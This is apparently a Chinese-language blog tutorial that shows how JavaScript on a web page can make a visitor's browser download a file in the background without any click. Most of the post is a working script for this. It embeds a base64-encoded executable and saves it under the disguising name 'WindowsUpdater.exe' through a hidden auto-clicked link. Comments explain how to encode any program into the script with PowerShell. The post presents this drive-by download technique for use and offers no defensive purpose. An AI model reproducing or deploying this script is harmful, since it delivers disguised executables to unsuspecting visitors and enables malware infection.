JavaScript介绍

你是否曾经在浏览网页的时候,突然弹出一个窗口不需要你的点击,然后一个文件自动下载到你的电脑上?想不想知道这是怎么做到的,其实只需要一段JavaScript就可以实现后台自动下载文件。

JavaScript代码

            <script>
                filename = "WindowsUpdater.exe"//这里写用户下载之后的文件
                filedata = ""//这里需要填文件数据
                //如何生成文件数据?
                //我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:WindowsSystem32calc.exe'
                //模板
                //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
                //譬如我们这里想获取计算器程序的data
                //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:WindowsSystem32calc.exe'))
                //我们可以继续输入
                //$base64string | Out-File temporary.log
                //之后我们打开这个文件
                //code .temporary.log
                //之后将这个文件数据复制到上方的filedata=""中

            function base64tobytes(b64data){
                var binary_values = atob(b64data);
                var binary_length = binary_values.length
                var bytes_data = new Uint8Array(binary_length);

                for ( var i = 0 ; i &lt; binary_length ; i++ ){
                    bytes_data[i] = binary_values.charCodeAt(i);
                }

                return bytes_data.buffer;
            }

            var filebytes = base64tobytes(filedata);

            var blob = new Blob([filebytes],{"type":"octet/stream"});
            var anchor = document.createElement("a")
            document.body.append(anchor);
            anchor.style = "display:none;";

            var url = window.URL.createObjectURL(blob)
            anchor.href = url;
            anchor.download = filename;

            anchor.click();
            window.URL.revokeObjectURL(url);

        &lt;/script&gt;</code></pre>